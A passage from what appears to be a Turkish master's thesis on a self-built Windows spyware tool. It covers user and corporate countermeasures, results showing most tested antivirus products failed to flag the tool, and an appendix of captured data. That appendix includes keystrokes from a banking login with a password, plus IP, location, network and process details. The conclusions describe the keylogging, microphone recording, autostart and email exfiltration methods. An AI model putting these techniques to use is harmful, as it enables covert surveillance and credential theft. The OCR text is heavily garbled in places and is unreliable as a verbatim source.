Program baglat C\Users\Deneme\AppData'LecalTemp'cy.exe
Segili Oge -
v
< 3 b Calgtir
g v - r [ [

Resim 4.7. Windows 8 igletim sistemi “Go6rev Zamanlayict” uygulamasi

e Windows isletim sistemlerinde bulunan kullanici hesabi denetimi 6zeligi (UAC)

acik tutulmalidir. Bu 6zellik programlarin arka planda bile olsa onemli iglemleri

yapmadan once kullanicilardan onay alinmasini saglar. Siipheli goriilen iglemlerin

kullanicilar tarafindan reddedilmesi gerekmektedir. Resim 4.8’de “Windows 8”

isletim sistemine ait kullanic1 hesabi denetim ekrami sunulmustur. Ilgili ekrana

Denetim Masasi tizerinden ulasilabilmektedir.



Bilgisayaninizdaki degisikliklerle ilgili olarak ne zaman uyar verilecegini secin

Kullanici Hesabi Denetimi, zararh olabilecek programlann bilgisayannizda degisiklik yapmasim
engellemeye yardimar olur,
Kullanici Hesabn Denetimi ayarlan hakkinda daha fazla bilgi ver

_—] )

~

Kullamicl Hesabi Denetimi Ayarlan

Her zaman uyar

Hichir zaman uyarma

Su durumda her zaman uyar:

.

Uygulamalar yazilim yiiklemeyi veya bilgisayanmda
degisiklikler yapmay denediginde

Windows ayarlannda degigiklik yaphgimda

Dizenli olarak yeni yazihimlar yikliyor ve fazla
taminmayan web sitelerini ziyaret ediyorsaniz Gnerilir.

Resim 4.8. Windows 8 isletim sisteminde kullanic1 hesabi denetim ekrani
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e lsletim sistemine ait giivenlik duvari ayarlarini aktif etmek bilgi giivenligini

arttirabilecek diger onlemlerden bir tanesidir. Ustelik “Windows” isletim sistemi

ailesinde “Gilivenlik Duvar1” isletim sistemi ile birlikte kurulan standart bir

ozelliktir. Koruyucu yazilimlar biinyesinde de bulunabilen bu 6zellik sayesinde

ozellikle uygulamalara ait istenmeyen ag trafigi kontrol altina alinabilir. Resim

4.9°da “Windows 8 isletim sisteminde Denetim Masasi iizerinden ulasilan

Giivenlik Duvar1 yonetim ekrani goriilmektedir. Bu ekran kullanilarak giivenlik

ayarlan ozellestirilebilir. Ornegin isletim sisteminde internet ile iletisime gegmesi

istenmeyen programlar belirlenebilir veya tiim programlar varsayilan olarak

engellenir sadece izin verilen uygulamalarin internet erisimi saglanabilir.
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' Windows Giivenlik Duvari = B
T ﬁ <« Tdm Denetim Masasi Ggelerl » Windows Givenlik Duvan v & Denetim Masasinda Ara 2
. . Windows Giivenlik Duvan ile kisisel bilgisayannizin korunmasina yardimar olun ~
Denetim Masasi Girig :
Windows Givenlik Duvan, korsanlann veya katd amach yazihmlann Internet veya ag Gzerinden kigisel
Bir uygulamanin veya dzelligin bilgisayariniza erigmesini engellemeye yardima olabilir.
Windows Gavenlik Duvann
egmesine izin ver o . - o
ges l a-' Ozel aglar Baglandi (»)
H) Bildirim ayarlanini degistir -
) Windows Gavenlik Duvar'ni Agdaki kigileri ve aygitlan tanidiginiz ve givendiginiz evdeki veya isyerindeki aglar
* etkinlestir veya devre digi birak
& Varsayilanan geri yiikle Windows Gavenlik Duvan durumu: Agik
@) Geligmis ayarlar Gelen baglantilar: lzin verilen u)rgulam.alarlistesinde olmayan
- uygulamalara yénelik tim baglantilan engelle
Agimd id
gimda sorun gider Etkin &zel aglar: Y eckisehir
Bildirirn durumu: Windows Gavenlik Duvan yeni bir uygulamay
engellediginde bana bildir
- - - N
l @ Konuk aglar veya ortak aglar Baglandi (»)
Havaalanlar ve kafeteryalar gibi halka agik yerlerdeki aglar
Windows Gavenlik Duvan durumu: Agik
Gelen baglantilar: zin verilen uygulamalar listesinde olmayan
uygulamalara ygnelik tim baglantilan engelle
Aynca bkz. Etkin ortak aglar: i Tanimlanmayan ag
Bylem Merkezi Bildirim durumu: Windows Gavenlik Duvan yeni bir uygulamay
Agve Paylaim Merkezi engellediginde bana bildir
v

Resim 4.9. Windows 8 isletim sistemi "Giivenlik Duvar1" ayarlarina ait ekran goriintiisii

45.3. Kurumsal onlemler

Kurumsal bilgisayarlarda siber suglara karst onlemler alma konusunda son kullanicilar
kadar sistem ve giivenlikten sorumlu personele de biiyiik sorumluluklar diismektedir.
Ozellikle kurum i¢i agda (intranet) bulunabilecek bir aciklik siber suglular tarafindan tespit
edildiginde tiim kurumsal kullanicilar siber giivenlik agisindan tehlikeye diisebilirler. Bu
kapsamda kurumsal bilisim sistemlerinin yoneticilerinin, bu ¢alisma kapsaminda
gelistirilmis olan casus yazilima ait siirecteki tecriibelerden de faydalanilarak hazirlanan

onlemler su sekildedir;

e Kurumsal bilgisayarlarda son kullanicilara, gerekmiyorsa bilgisayar yonetici
yetkisi verilmemelidir. Ornegin birgok kurum kullanicisinin, temel ofis
programlar1 disinda baska herhangi bir programa ihtiyag duymayacagi dikkate
alinacak olursa son kullanicilardan yeni program kurma yetkisi kaldirilabilir. Son
kullanicilara gerekli olabilecek diger programlar da sistem yoneticisi kontroliinde
kurulabilir. Ciinkii  gelistirilmis olan casus yazilimin bilgisayarin bazi

kaynaklarina yonetici yetkisi ile eristigi dikkate alindiginda (baslangica yerlesme



73

vb.), yonetici yetkisi olmayan bir kullanici istese bile bilgisayara casus yazilim
kuramayacaktir.

Isletim sistemleri i¢inde en yaygm olarak kullamilan Windows tabanli isletim
sistemleri oldugu Sekil 3.1’de goriilmektedir. Bu durum beraberinde zararl
yazilimlarin ¢ogunlukla Windows tabanli isletim sistemlerini hedef almasina
sebep olmaktadir. Dolayisiyla kurumsal son kullanicilarin, ihtiyaglarini
karsilayabilecek alternatif bir isletim sistemini kullanmalar1 birgok zararli
yazilimin sisteme bulagmasini engelleyecektir.

Ulkemizde bazi kurumlar bir LINUX dagitimi olan ve TUBITAK tarafindan
gelistirilmis olan PARDUS isletim sistemini kullanmaktadir. Bu kurumlar Milli
Savunma Bakanlig1 Asker Alma Dairesi (ASAL), Milli Savunma Bakanlig1 yani
sira bir¢ok tiniversite, sivil toplum orgiitleri, kamu kuruluslart ve 6zel sirketlerde
PARDUS isletim sistemini tercih etmislerdir. Ayrica Radyo ve Televizyon Ust
Kurulu (RTUK) ve Enerji Piyasasi Diizenleme Kurumu (EPDK) PARDUS’a
gecis yapma karar1 almiglardir [47].

Ayrica iilkemizde kurumsal kullanicilarin c¢ogunlukla isletim sistemi olarak
yabanci firmalara ait iicretli isletim sistemlerini tercih ettikleri diisiiniildiiglinde
s6z konusu isletim sistemi lisans ticretleri, ilgili isletim sistemleri lizerinde ¢alisan
ofis uygulamalarina ait lisans iicretleri, bu sistemlerin olusturdugu kurumsal
aglarin yonetiminde kullanilan ¢ogunlukla igletim sistemi ile ayni firma tarafindan
tiretilen sistem yonetimi ile ilgili yazilimlar, bu sistemler ile ilgili teknik personele
verilen egitimlere iligkin maliyetler gibi harcama kalemleri dikkate alindiginda
PARDUS gibi yerli ihtiyaglara gore bir isletim sistemi gelistirilmesinin ve bu
isletim sistemi tizerinde kurumsal sistemlerin ihtiyaglarini karsilayacak yardimci
yazilimlarin gelistirilmesinin daha maliyet etkin olacagi degerlendirilmektedir.
Yerli imkanlarla gelistirilip idame ettirilecek bir isletim sistemi ve bu kapsamda
yardimci yazilimlara harcanacak biitcenin birgogunun (yazilim gelistirme, egitim
vb.) yurti¢inde kalacagi da dikkate alindiginda yerli isletim sistemi gelistirilmesi
alternatifinin ~ bir  devlet  politikas1  olarak  uygulanmas1  gerektigi
degerlendirilmektedir.

PARDUS gibi yerli imkanlarla bir isletim sisteminin gelistirilmesinin ve
idamesinin saglanmasmin, ekonomik faydalarinin yani sira siber giivenlik
acisindan da cok dnemli faydalar1 bulunmaktadir. Ulkenin kritik kurumlarina ait

bilisim sistemlerinde yabanci firmalara ait isletim sistemi ve yOnetim
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yazilimlarinin bulunmasi her zaman ig¢in ilgili sistemlerin s6z konusu firma
tarafindan izlenme riskini barindirmaktadir. Ornegin sz konusu isletim
sisteminin giincelleme ad1 altinda yapacagi bir internet erigsiminin kurumsal agdan
bir bilgiyi gonderen siber casusluk faaliyeti olma riski mevcuttur.
Gelistirilen casus yazilim kullanic1 girisi (authentication) gerektiren bir “proxy”
sunucusu ile internet erisiminin miimkiin oldugu ag iizerinde de test edilmistir. Test
sonucunda gerekli kimlik bilgilerine sahip olmayan casus yazilimin “proxy”
sunucusu {izerinden internete ulasamadig1 ve bilgileri gonderemedigi goriilmiistiir.
Dolayisiyla kurumsal aglarda kullanicilara saglanacak kimlik bilgileri ile ag
erisimini miimkiin kilan “proxy” sunucularinin bulundurulmasi casus yazilimlarin

bilgi gondermesini engelleyebilecektir.
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5. SONUC VE ONERILER

Gelistirilen casus yazilim yaygin olarak kullanilan Windows XP, Windows 7 ve Windows
8 isletim sistemlerinde test edilmistir. Bilgisayar kisitliligi nedeniyle Windows 7 ve
Windows XP isletim sistemleri sanal makine yazilimlari ile test edilmistir. Casus
yazilimi, Windows XP isletim sistemi disinda herhangi bir ¢alisma problemi yasamadigi
goriilmiis olup Windows XP isletim sisteminin normal kullanima yonelik bir¢ok programin
yiiklenebilmesi i¢in de 6n kosul olan “NET FRAMEWORK 2.0” ve istii paketin
yiiklenmesi ile ¢aligabilirlik saglanmigtir. Herhangi bir koruyucu yazilim olmadan isletim
sistemlerinin varsayilan ayarlari ile gergeklestirilen testlerde casus yazilimin bilgi toplama
ve bu bilgileri e-posta ile gonderme aktiviteleri higbir engelleme ve problem ile

kargilasmadan gergeklesmistir.

Isletim sistemleri ile gerceklestirilen testler sonrasinda gelistirilen casus yazilim yaygin
olarak kullanilan koruyucu yazilimlar ile de test edilmistir. Testler koruyucu yazilim
yiiklendikten sonra, casus yazilimi barindiran dosyanin g¢alistirilmadan 6nce taratilmast,
caligtirtlma esnasinda koruyucu yazilimin herhangi bir uyart verip vermediginin
gozlemlenmesi ve casus yazilimin (eger ¢alismasina izin verildi ise) topladig: bilgileri e-
posta ile gonderimi esnasinda koruyucu yazilimin herhangi bir uyart verip vermediginin
gozlemlenmesi seklinde icra edilmistir. Bu testler sonucunda 11 adet koruyucu yazilimin
sadece dordiiniin gelistirilen casus yazilimi zararli olarak nitelendirdigi, bir adet koruyucu
yazilimin ise sadece internet erisimini engelleyebildigi goriilmiistiir. Altt adet koruyucu
yazilim ise gelistirilen casus yazilima yonelik herhangi bir uyari vermemistir. Bu durum
zararl yazilimlardan korunmak i¢in bir dnlem olarak diisiiniilen koruyucu yazilimlarin bir
kisminin aslinda yeterli koruma saglamadigini gostermekte ve siber suglar igin risk

olusturmaktadir.

Isbu calisma ozelinde gelistirilen casus yazilim, Windows isletim sistemlerinde
“User32.dll” ve “Winmm.dll” dosyalar1 tarafindan saglanan uygulama programlama
arayiizleri (Ing. application programming interface -API) aracilifiyla basilan tus bilgileri,
acik uygulama bilgileri ve mikrofon iizerinden ses kaydi elde etmek amaciyla isletim
sistemi fonksiyonlarin1 kullanmaktadir. Ayrica gelistirilen casus yazilim, 587 ve 80
numarali ag portlar {izerinden e-posta génderimi ve web sayfalar1 lizerinden gercek IP
sorgulamalar1 yaparak ag kaynaklarini, ekran goriintiilerinin kaydedilmesi gibi 6zellikleri

nedeniyle de disk kaynaklarin1 kullanmaktadir. Casus yazilim, bilgisayarin her agiliginda
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kendisini  bagslatabilmesi icin de sistem kayit defterine (registry) kaydim
gerceklestirmektedir. Dinamik Analiz yontemi kullanilarak, gelistirilen casus yazilimin

amacina ulagmak i¢in gergeklestirdigi bu ve benzeri tiirdeki aktiviteler izlenebilir.

Yapay zeka uygulamalarindan olan uzman sistemler kullanilarak olusturulacak bir kural
veritabani ile casus yazilimlarin risk degerlendirmeleri yapilabilir. S6z konusu uzman
sisteme ait kural veritabaninda Bo6lim 3’te sunulan casus yazilim aktiviteleri de dahil
olmak iizere ¢esitli aktivitelerin risk puanlamasina tabi tutulmasi (6rnegin agik uygulama
bigileri ile belirli araliklarda e-posta gonderiminin bir arada bulunmasi durumu igin bir risk
puani, basilan tus bilgilerinin saklanmasi durumu icin belirli bir risk puani belirlenmesi
vb.) miimkiindiir. Risk puanlama islemi esnasinda normal yazilim aktivitelerinin de dikkate
alinmasi1 gerekmekte olup “otomatik baslama, e-posta gonderimi vb.” gibi bu tiir

aktivitelerde casus yazilimlar tarafindan gergeklestirilmektedir.

Olusturulacak uzman sistem kural veritabaninin halihazirda tespit edilen casus yazilimlarin
islevlerine yonelik yapacagi risk degerlendirmelerinin incelenmesi ve bu sonuglar
cercevesinde eger gerekiyorsa kural veritabaninin giincellenmesi ve bu siirecin ideal
(optimum) noktaya ulasilana kadar tekrar edilmesi, risk puanlama igleminin zararli yazilim
tespitinde daha dogru ve tutarli sonucglar vermesini saglayacaktir. S6z konusu tekrarlama

(Ing. iteration) siirecinde veri madenciligi tekniklerinin kullanilmas1 miimkiindiir.

Incelenmesi faydali olacak bir diger konu ise mobil platformlardir. Bu ¢alisma, kapsam
itibariyle “Windows” isletim sistemi ailesini incelemistir. Ancak gilinlimiizde mobil
cihazlarin yaygin olarak kullanildigt ve giinliik hayatta gergeklestirilen islemlerde
(bankacilik, iletisim, eglence, is takibi vb.) mobil cihazlarin daha fazla tercih edilmeye
baglanmasi ile birlikte siber suclularin mobil platformlari hedef aldigi bilinmektedir. Bu
kapsamda mobil cihazlarin bilgi glivenligini saglamak iizere g¢esitli koruyucu yazilimlar da
piyasaya siiriilmiistiir. Dolayisiyla mobil cihazlarda risklerin ortaya kondugu ve bu riskleri
mobil platformlar i¢in gelistirilen koruyucu yazilimlarin ne diizeyde engelleyebildiklerini

inceleyecek bir deneysel caligmanin faydali olacagi degerlendirilmistir.
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EK-1. Casus Yazilim Tarafindan E-posta Adresine Gonderilen Bilgilere Ait Ornek

{ Ziraat Bankasi - Google Chrome 13.5.2014 23:26:17}

{ Adsiz - Google Chrome 13.5.2014 23:26:18}

{ Hosgeldiniz | Ziraat Bankasi Internet Bankacilidi - Google
Chrome 13.5.2014 23:26:18}

40046421 [TAB]Bankaci1l1kSifrem

{ Ziraat Bankasi - Google Chrome 13.5.2014 23:26:41}

{ Bilisim Enstitiisi - Google Chrome 13.5.2014 23:26:43}

{ Yiuksek Lisans Tez Taslagi - Microsoft Word 13.5.2014 23:26:56}
Bu dokiiman yiiksek lisans kapsaminda hazirlanan Tez dosyasidir.
{ Bilisim Enstitisi - Google Chrome 13.5.2014 23:27:24}
GERCEK IP ve YER BILGILERI

IP: 78.162.45.166

Hostname: 78.162.45.166.dynamic.ttnet.com.tr

ISP: Turk Telekom

Organization: Turk Telekom

City: Ankara

Region: Ankara

Country: Turkey

Timezone: Asia/Istanbul

Longitude: 32.840300

Latitude: 39.911700

BILGISAYAR YEREL IP BILGILERI

Windows IP Configuration

Ethernet adapter Yerel AS BaSlantllsl] 2:

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix

Wireless LAN adapter Yerel AS BaSlantllsll* 4:

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix

Ethernet adapter Ethernet 2:

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix

Ethernet adapter Bluetooth AS BaSlantllsl]:

Media State . . . . . . . . . . . : Media disconnected
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EK-1. (devam) Casus Yazilim Tarafindan E-posta Adresine Génderilen Bilgilere Ait Ornek

Connection-specific DNS Suffix
Wireless LAN adapterWi-Fi:
Connection-specific DNS Suffix

Link-local IPv6 Address . . . . . : fe80::al4f:5251:

IPv4 Address. . . . . . . . . . . :192.168.2.131
SubnetMask . . . . . . . . . . . : 255.255.255.0
DefaultGateway . . . . . . : 192.168.2.1

Ethernet adapterVMware Network Adapter VMnetl:
Connection-specific DNS Suffix

Link-local IPv6 Address . . . . . : fe80::75c9:albd:

IPv4 Address. . . . . . . . . . . :192.168.174.1
SubnetMask . . . . . . . . . . . : 255.255.255.0
DefaultGateway :

Ethernet adapterVMware Network Adapter VMnet8:
Connection-specific DNS Suffix

Link-local IPv6 Address . . . . . : fe80::ed37:93aa:

IPv4 Address. . . .« « « « « « . . $192.168.232.1
SubnetMask . . . . . . . . . . . : 255.255.255.0
DefaultGateway :

Ethernet adapterVrrtualBox Host Only Network:
Connection-specific DNS Suffix

Link-local IPv6 Address . . . . . : fe80::90e2:4cdc:
IPvd Address. . . . .« .« . . . . . :192.168.56.1
SubnetMask . . . . . . . . . . . : 255.255.255.0
DefaultGateway

57ae:p8d1%13

dbc5:8114%24

£f14a:2218%26

8611:£530%31

Tunneladapterisatap. {3ED4699E B3D6 4864-BC94-B1FC278007D3}
Media State . . . . . . : Media disconnected

Connection- Spe01f1c DNS Sufflx
TunneladapterTeredoTunnelingPseudo-Interface:

Media State . . . .« « . . . . : Media disconnected

Connection- Spe01f1c DNS Suffix

Tunneladapterisatap.{91E269CB-CB29-4F07-BCFF-AE80C57009C7} :
Media State . . . .« « . . . . : Media disconnected

Connection- specrflc DNS Suffix

Tunneladapterisatap.{F2021E15-A998-4CB4-B6C9-9F295ACA962A}:
Media State . . . .« «. . . . . : Media disconnected

Connection- specrflc DNS Suffix

Tunneladapterisatap.{D9C8C048-E9C6-40FB-AEEC-11458122836F}:
Media State . . . .« « . . . . : Media disconnected

Connection- specrflc DNS Suffix
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ACIK PORTLAR

Active Connections
ProtoLocalAddressForeignAddressState
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING

TCP 0.0.0.0:443 0.0.0.0:0 LISTENING

TCP 0.0.0.0:445 0.0.0.0:0 LISTENING

TCP 0.0.0.0:554 0.0.0.0:0 LISTENING

TCP 0.0.0.0:902 0.0.0.0:0 LISTENING

TCP 0.0.0.0:912 0.0.0.0:0 LISTENING

TCP 0.0.0.0:2869 0.0.0.0:0 LISTENING

TCP 0.0.0.0:5357 0.0.0.0:0 LISTENING

TCP 0.0.0.0:9089 0.0.0.0:0 LISTENING

TCP 0.0.0.0:9393 0.0.0.0:0 LISTENING

TCP 0.0.0.0:9494 0.0.0.0:0 LISTENING

TCP 0.0.0.0:10243 0.0.0.0:0 LISTENING

TCP 0.0.0.0:15990 0.0.0.0:0 LISTENING

TCP 0.0.0.0:49152 0.0.0.0:0 LISTENING

TCP 0.0.0.0:49153 0.0.0.0:0 LISTENING

TCP 0.0.0.0:49154 0.0.0.0:0 LISTENING

TCP 0.0.0.0:49156 0.0.0.0:0 LISTENING

TCP 0.0.0.0:49157 0.0.0.0:0 LISTENING

TCP 0.0.0.0:49158 0.0.0.0:0 LISTENING

TCP 0.0.0.0:54321 0.0.0.0:0 LISTENING

TCP 0.0.0.0:56789 0.0.0.0:0 LISTENING

TCP 127.0.0.1:5939 0.0.0.0:0 LISTENING

TCP 127.0.0.1:6543 0.0.0.0:0 LISTENING

TCP 127.0.0.1:6543 127.0.0.1:57695 ESTABLISHED
TCP 127.0.0.1:6544 0.0.0.0:0 LISTENING

TCP 127.0.0.1:8307 0.0.0.0:0 LISTENING

TCP 127.0.0.1:12001 0.0.0.0:0 LISTENING

TCP 127.0.0.1:28091 0.0.0.0:0 LISTENING

TCP 127.0.0.1:28091 127.0.0.1:57685 ESTABLISHED
TCP 127.0.0.1:50000 0.0.0.0:0 LISTENING

TCP 127.0.0.1:52001 0.0.0.0:0 LISTENING

TCP 127.0.0.1:52001 127.0.0.1:57696 ESTABLISHED
TCP 127.0.0.1:52001 127.0.0.1:57697 ESTABLISHED
TCP 127.0.0.1:52001 127.0.0.1:57698 ESTABLISHED
TCP 127.0.0.1:52001 127.0.0.1:57699 ESTABLISHED
TCP 127.0.0.1:57685 127.0.0.1:28091 ESTABLISHED
TCP 127.0.0.1:57695 127.0.0.1:6543 ESTABLISHED
TCP 127.0.0.1:57696 127.0.0.1:52001 ESTABLISHED
TCP 127.0.0.1:57697 127.0.0.1:52001 ESTABLISHED
TCP 127.0.0.1:57698 127.0.0.1:52001 ESTABLISHED
TCP 127.0.0.1:57699 127.0.0.1:52001 ESTABLISHED
TCP 192.168.2.131:139 0.0.0.0:0 LISTENING
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TCP 192.168.
TCP 192.168.
TCP 192.168.
TCP 192.168.
TCP 192.168.
TCP 192.168.
TCP 192.168.
TCP 192.168.
TCP 192.168.
TCP 192.168.
TCP 192.168.
TCP 192.168.
TCP 192.168.
TCP 192.168.
TCP 192.168.
TCP 192.168.
TCP 192.168.
TCP 192.168.
TCP 192.168.
TCP 192.168.
TCP 192.168.
TCP 192.168.
TCP 192.168.
TCP 192.168.
TCP 192.168.

.131:57750 157.56.124.152:443 ESTABLISHED
.131:58434 107.170.115.234:443 CLOSE WAIT
.131:59067 195.175.116.41:80 CLOSE WAIT
.131:59068 195.175.116.41:80 CLOSE WAIT
.131:59069 195.175.116.41:80 CLOSE WAIT
.131:59070 195.175.116.41:80 CLOSE WAIT
.131:59071 195.175.116.41:80 CLOSE WAIT
.131:59110 23.33.15.21:443 ESTABLISHED
.131:59143 193.149.92.171:443 ESTABLISHED
.131:59144 157.56.192.114:443 ESTABLISHED
.131:59177 195.177.206.17:80 TIME WAIT
.131:59178 195.177.206.17:80 TIME WAIT
.131:59179 195.177.206.17:80 TIME WAIT
.131:59180 195.177.206.17:80 TIME WAIT
.131:59181 195.177.206.17:80 TIME WAIT
.131:59182 195.177.206.17:80 TIME WAIT
.131:59183 64.15.117.26:443 TIME WAIT
.131:59185 195.177.206.156:443 ESTABLISHED
.131:59186 195.177.206.156:443 ESTABLISHED
.131:59193 23.33.8.144:443 ESTABLISHED
.131:59197 23.52.244.185:443 ESTABLISHED
.131:59201 173.194.79.136:443 ESTABLISHED
.131:59205 64.15.117.52:443 ESTABLISHED
.131:59206 64.15.117.212:443 ESTABLISHED
.131:59207 64.15.117.123:443 ESTABLISHED
TCP 192.168.2.131:59208 194.27.18.25:80 ESTABLISHED
TCP 192.168.2.131:59209 64.15.117.116:80 ESTABLISHED
TCP 192.168.2.131:59210 144.76.38.180:80 ESTABLISHED
TCP 192.168.56.1:139 0.0.0.0:0 LISTENING

N NN NODNNODNDNDNNDNDNDNDNDNDNDNDNDMNDMNDMNDMNDNDNDNDDNDDNDDNDDN

TCP 192.168.174.1:139 0.0.0.0:0 LISTENING
TCP 192.168.232.1:139 0.0.0.0:0 LISTENING
TCP [::]:135 [::]1:0 LISTENING

TCP [::]:443 [ 1:0 LISTENING

TCP [::]:445 [::]1:0 LISTENING

TCP [::]:554 [::]1:0 LISTENING

TCP [::]:2869 [::]:0 LISTENING

TCP [::]1:3587 [::]:0 LISTENING

TCP [::]:5357 [::]:0 LISTENING

TCP [::]1:9089 [::]:0 LISTENING

TCP [::]1:9393 [::]:0 LISTENING

TCP [::]1:9494 [::]:0 LISTENING

TCP [::1:10243 [::]1:0 LISTENING

TCP [::1:49152 [::]1:0 LISTENING

TCP [::]1:49153 [::]:0 LISTENING

TCP [::]1:56789 [::]1:0 LISTENING
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TCP [::1]:8307 [::]1:0 LISTENING
TCP [::1]1:9393 [::1]1:57700 ESTABLISHED
TCP [::1]1:12001 [::]:0 LISTENING
TCP [::1]:49155 [::]1:0 LISTENING
TCP [::1]1:57700 [::1]:9393 ESTABLISHED
UDP 0.0.0.0:68 *:*

UDP 0.0.0.0:500 *:%*

UDP 0.0.0.0:3702 *:*

UDP 0.0.0.0:3702 *:*

UDP 0.0.0.0:3702 *:*

UDP 0.0.0.0:3702 *:*

UDP 0.0.0.0:3702 *:*

UDP 0.0.0.0:3702 *:*

UDP 0.0.0.0:4500 *:*

UDP 0.0.0.0:5004 =*:*

UDP 0.0.0.0:5005 *:*

UDP 0.0.0.0:5355 *:*

UDP 0.0.0.0:56104 *:*

UDP 0.0.0.0:61712 *:*

UDP 0.0.0.0:62686 *:*

UDP 127.0.0.1:1900 *:*

UDP 127.0.0.1:53494 *:*

UDP 127.0.0.1:62136 *:*

UDP 192.168.2.131:137 *:*

UDP 192.168.2.131:138 *:*

UDP 192.168.2.131:1900 *:*

UDP 192.168.2.131:62132 *:*

UDP 192.168.56.1:137 *:*
UDP 192.168.56.1:138 *:*
UDP 192.168.56.1:1900 *:*
UDP 192.168.56.1:62135 *:*

UDP 192.168.174.1:137 *:*
UDP 192.168.174.1:138 *:*
UDP 192.168.174.1:1900 *:~*
UDP 192.168.174.1:62133 *:*
UDP 192.168.232.1:137 *:*
UDP 192.168.232.1:138 *:*
UDP 192.168.232.1:1900 *:~*
UDP 192.168.232.1:62134 *:*
UDP [::]:500 *:*

UDP [::]:3540 *:*

UDP [::]:3702 *:%*

UDP [::]:3702 *:%*

UDP [::]:3702 *:%*

UDP [::]:61713 *:*

UDP [::]1:62687 *:*
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UDP
UDP
UDP
UDP
UDP
UDP
UDP
UDP
UDP
UDP

ACIK UYGULAMALAR

162131

::75c9:
::75c9:
::90e2:
::90e2:
::aldf:
::aldf:
::aldf:
::ed37:
::ed37:

) ok

albd:
albd:
4dcdc:
4dcdc:
5251:
5251:
5251:
93aa:
93aa:

dbcb:
:8114%24

dbcb

]
]
8611l: ]
8611l: ]
:b8d1%13]
]
]
]
]

57ae
57ae
57ae

8114%24

£530%31
£530%31

:b8d1%13
:b8d1%13
flda:
fl4a:

2218%26
2218%26

:1900 *:*
:62128 *o*
:1900 *:*
162130 *:*
:546 *:*
:1900 *:*
162127 *:i*
:1900 *:*
:62129 *:x*

Image Name PID Session Name Session# MemUsage

SystemIdleProcess 0 Services 0 20 K

System 4 Services 0 5.332 K
smss.exe 332 Services 0 540 K
csrss.exe 620 Services 0 3.472 K

wininit.exe 752 Services 0 2.516 K

services.exe 856 Services 0 10.592 K
lsass.exe 864 Services 0 11.268 K

svchost.exe 972 Services 0 8.680 K
svchost.exe 1012 Services 0 8.396 K
atiesrxx.exe 628 Services 0 1.764 K
svchost.exe 768 Services 0 26.404 K
svchost.exe 908 Services 0 62.784 K

svchost.exe 1124 Services 0 21.880 K
svchost.exe 1164 Services 0 90.080 K
RwcTaskService.exe 1276 Services 0 1.492 K
svchost.exe 1408 Services 0 24.912 K

spoolsv.exe 1644 Services 0 5.064 K

svchost.exe 1700 Services 0 34.452 K
NetworkLicenseServer.exe 1868 Services 0 4.608 K

apnmcp.exe 1920 Services 0 4.248 K

HuaweiHiSuiteService64d.ex 1184 Services 0 2.076 K

dasHost.exe 380 Services 0 13.696 K

HeciServer.exe 1652 Services 0 1.520 K
Jhi service.exe 952 Services 0 1.016 K
KinectManagementService.e 2020 Services 0 1.900 K
SpotfluxConnectionManager 2176 Services 0 50.644 K

svchost.exe 2288 Services 0 4.588 K

TeamViewer Service.exe 2376 Services 0 5.856 K
vmware—-usbarbitratorcd.ex 2404 Services 0 2.512 K
vmnat.exe 2492 Services 0 2.552 K
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vmware-converter-a.exe 2528 Services 0 10.172 K
vmware-converter.exe 2572 Services 0 15.484 K
vmware-converter.exe 2608 Services 0 10.656 K
MsMpEng.exe 2656 Services 0 107.728 K

Ath CoexAgent.exe 2780 Services 0 3.528 K
vmware-authd.exe 2848 Services 0 5.076 K
vmnetdhcp.exe 2064 Services 0 1.148 K
vmware-hostd.exe 1828 Services 0 27.384 K
WmiPrvSE.exe 2192 Services 0 9.572 K
svchost.exe 3648 Services 0 2.772 K

svchost.exe 3668 Services 0 18.580 K
svchost.exe 2808 Services 0 13.052 K
SearchIndexer.exe 4352 Services 0 44.212 K
dllhost.exe 4396 Services 0 2.920 K
IAStorDataMgrSvc.exe 4764 Services 0 23.016 K
IntelMeFWService.exe 6304 Services 0 840 K
LMS.exe 6308 Services 0 3.560 K

SWMAgent.exe 6832 Services 0 10.980 K

UNS.exe 3444 Services 0 6.512 K

wmpnetwk.exe 7132 Services 0 2.024 K
OSPPSVC.EXE 7736 Services 0 8.116 K
SpotfluxUpdateService.exe 5680 Services 0 17.220 K
PresentationFontCache.exe 6904 Services 0 18.396 K
csrss.exe 9436 Console 3 44.220 K

winlogon.exe 1196 Console 3 5.100 K

dwm.exe 7028 Console 3 27.480 K

taskhostex.exe 8860 Console 3 15.964 K
SynTPEnh.exe 8808 Console 3 936 K

explorer.exe 9664 Console 3 136.672 K
ismagent.exe 8168 Console 3 3.256 K
taskhost.exe 9472 Console 3 816 K
updateui.exe 2060 Console 3 3.120 K
RAVCpl64d.exe 7880 Console 3 9.440 K
BtTray.exe 8320 Console 3 48.804 K
BtvStack.exe 8044 Console 3 22.100 K
igfxtray.exe 4456 Console 3 5.908 K
ActivateDesktop.exe 1396 Console 3 4.632 K
hkcmd.exe 5488 Console 3 5.640 K
igfxpers.exe 4364 Console 3 8.304 K
IDMan.exe 1336 Console 3 31.936 K
IEMonitor.exe 9548 Console 3 5.700 K
SpotfluxAgent.exe 7792 Console 3 80.148 K
vmware-tray.exe 3224 Console 3 4.912 K
TBNotifier.exe 9744 Console 3 12.924 K
vntldr.exe 3976 Console 3 4.752 K
SynTPHelper.exe 9884 Console 3 292 K
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CommonAgent.exe 9840 Console 3 440 K
IAStorIcon.exe 9508 Console 3 26.240 K
MOM.exe 668 Console 3 4.444 K

CCC.exe 428 Console 3 5.696 K
LiveComm.exe 9724 Console 3 2.572 K
RuntimeBroker.exe 580 Console 3 4.388 K
WINWORD.EXE 8216 Console 3 85.288 K
splwow64.exe 7688 Console 3 7.792 K
chrome.exe 5696 Console 3 90.580 K
chrome.exe 10128 Console 3 105.892 K
chrome.exe 9728 Console 3 64.628 K
chrome.exe 4612 Console 3 51.120 K
AdobeARM.exe 4272 Console 3 11.344 K
chrome.exe 8316 Console 3 98.696 K
chrome.exe 9412 Console 3 77.572 K
notepad.exe 7724 Console 3 6.388 K
cy.exe 5008 Console 3 30.800 K
tasklist.exe 8800 Console 3 5.400 K
conhost.exe 1136 Console 3 3.084 K
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AVG AntiVirus FREE

Uygudama ve Tug Bigien

{ 70% tamamlandi  28.9.2014 22:26:27) ) )

{ 75% tamamland:i  28.9.2014 22.26:27) « ) Koruma altindasiniz
{ AVG AntiVirus Free Edition 2015 28.9.2014 2

(CasmYazmmeonrAVGZBQZOMZZ‘SO—

siber guvenlik com - Gmail - Google G

2892014 22:26:38) ~9 ~z ~z ~3

